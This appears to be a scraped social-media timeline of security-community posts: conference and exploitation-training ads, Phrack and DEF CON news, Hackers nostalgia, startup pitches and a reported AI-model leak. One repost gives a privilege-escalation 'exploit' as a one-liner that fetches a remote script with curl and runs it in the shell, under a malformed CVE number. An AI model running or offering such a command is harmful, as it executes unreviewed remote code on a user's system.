Rafael Silva

@davepl1968 this is amazing! please let me visit this :)

A quick look inside a DEC RA60 hard drive and the PDP-11/44 CPU complex...

@BullTheoryio @grok where are the leaks documents / links? cached?

BREAKING: Anthropic accidentally leaked its next AI model and it just wiped out $14.5 billion from cybersecurity stocks in a single day. Claude Mythos was accidentally stored in a publicly accessible data cache and discovered before Anthropic could announce it. The model showed dramatically higher scores on cybersecurity tests, meaning AI can now detect and respond to threats at a level that traditionally required entire teams of security professionals and expensive enterprise software. Investors immediately started pricing in the question nobody in the industry wants to answer: if an AI model can do this, why does anyone need CrowdStrike? And the market answered immediately: - CrowdStrike is down 5.85%, wiping out $5.5 billion. - Palo Alto Networks is down 6.43%, wiping out $7.5 billion. - Zscaler is down 5.89%, wiping out $1.35 billion. - Tenable is down 9.70%, wiping out $185 million

ChatML is live on Product Hunt! 🚀 The cockpit for Claude Code: → See every agent, every diff, one dashboard → AI code review with inline comments → 100% free & open source Built entirely by AI. 900+ PRs. Zero human code. producthunt.com/products/chatm…

Spread the word! @phrack CFP with demoscene cracktro is live. Turn up the volume and enjoy the awesome stylings of @PiotrBania with some hopefully inspiring text from phrack staff :) phrack.org

@NayrhitB @SusquehannaVC @LightspeedIndia @BCapitalGroup @beenextVC @sparrowcapvc @2point2club deck

The exact pitch deck that helped us raise a $9M Seed Round copy whatever you want VCs that invested: → @SusquehannaVC (led) → @LightspeedIndia → @BCapitalGroup → Seaborne Capital → @beenextVC → @sparrowcapvc → @2point2club joined. fundraising is hard enough without guessing what investors want to see. so - I'm making our deck public. if you're raising right now, take it and make it yours. Reply 'deck' + follow (so I can DM it over)

@jack_c947 PLAYBOOK

February 2024: 3 calls booked on LinkedIn February 2026: 10 calls per day through LinkedIn DMs I'm sharing the playbook I built after struggling with low connection rates, low reply rates, and inconsistent calls for years. The only 3 things you need to master: - How to get your ideal leads to actually reply - How to get daily inbound leads without sending cold DMs - How to sell by chat without jumping on calls or sounding salesy Comment "PLAYBOOK" and I'll send you the guide

Para quem sonha em aprender Linux Binary Exploitation e estava esperando a melhor oportunidade: Restam SOMENTE 2 VAGAS com o super desconto para o nosso próximo treinamento! Não deixe essa chance passar. Por que se inscrever AGORA? Super Desconto: As duas últimas vagas com o preço promocional. Domínio: Aprenda a explorar vulnerabilidades no espaço do usuário e a proteger sistemas. Data: Treinamento começa em Maio de 2026 – Planeje sua carreira com antecedência. 1. Linux Binary Exploitation – Maio 2026 (Onde restam as 2 vagas!) allelesecurity.com.br/treinamento-bi… 2. Linux Kernel Exploitation – Agosto 2026 (Próximo nível, já garanta!) allelesecurity.com.br/treinamento-ke… Obrigado a todos pelo apoio contínuo e pela confiança na qualidade dos nossos treinamentos!

Just restored my vintage BellSouth payphone from the 1996 Summer Olympics. Hooked it up with a Raspberry Pi + Asterisk PBX + Grandstream HT801. Now it rings, calls my iPhone, and even plays music when you dial in. And the best part: now I can teach my daughter some tech 🙂

@ihackbanme 👏🏼👏🏼

With João earlier today. Vamo!

Yesterday, I’ve watched greatness. Watching João Fonseca playing was one of the highlights for me. This kid is the Michael Jordan moment for tennis… or if you’d like… Ronaldinho of tennis. WOW.

1995: The movie Hackers was released. Yes, 30 years ago today. 🤯 It grossed just $7 million at the box office against a budget of $20 million. Ouch. A box office failure, but today it's a cult classic. Crash Override. Acid Burn. Rollerblades. Floppy disks. Hack the Gibson!!!

Exactly. In PT-BR “dúvidas” isn’t negative, it’s the polite way to say “any questions?” When someone asks “tem dúvidas?” they mean “can I clarify more?” not “are you insecure?” Funny how language bends thought: em inglês dúvida = lack of certainty, em português dúvida = curiosity 🤷🏽‍♂️

Learning Portuguese I come across so many weird things One is that when you're talking to Brazilians or Portuguese, like when buying a service from them, even if they speak English at the end they will ask "Do you have any doubts, Pieter?" And I'm like, what the F do you mean doubts? If was doubtful why would I be talking to you???? Doubts is negative in English and is more about uncertainty than having further questions But then it IS the literal translation of duvidas, which does mean doubts, but also just means questions, as in the FAQ page on Brazilian websites is literally titled "Doubts" / "Duvidas" I myself use "questions" which is "preguntas" in Portuguese, closer to English I think I then continue on to wonder how language affects culture, because I know it does, and in this case having doubts mean questions and vice versa, might imply a culture that's doubtful/uncertain/insecure about everything? Who knows???

Phrack turns 40. The digital drop is live. Download it. Archive it. Pass it on. 💾 phrack.org #phrackat40 #phrack72

1988: Zero Cool was mentioned in a story on the front page of the New York Times for crashing 1,507 computer systems the day before, resulting in panicked selling in the stock market and a drop in the DJIA and NYSE. (Well, in the 1995 movie Hackers that is! Hack the planet!)

@kminx Oh god! ❤️

treasured memory of the Mitnick security team. No love like a hacker fam love. Everyone we have worked with over the years are more than pentesters, phreakers, hackers of every flavor… are dear friends. It’s a mindset. Hacker culture has never died - it’s evolved and just like infosec it’s forever moving and growing Excited to see old friends of the Mitnicks and meet newcomers to the cyber world. Bring it 😝

Awesome talk!

Bring your kids to DEF CON this year! We have some cool stuff planned.... 👀💚

Use-after-free vulnerability in CAN BCM subsystem leading to information disclosure (CVE-2023-52922) allelesecurity.com/use-after-free…

@hackerschoice where is "Due to raw sockets usage you need uid 0 to execute it"? 😂😂

💥CVE-20250401 - 7350pipe - Linux Privilege Escalation (all versions). Exploit (1-liner): “. <(curl -SsfL thc.org/7350pipe)”

We've started announcing the speakers for #H2HC2024 !! @chompie1337 and @FuzzySec sharing the stage! @h2hconference #H2HC21years #H2HC21anos

Hey folks! If you’re planning to attend H2HC 2024, here is a 30% discount coupon on tickets: thauan2024. H2HC.com.br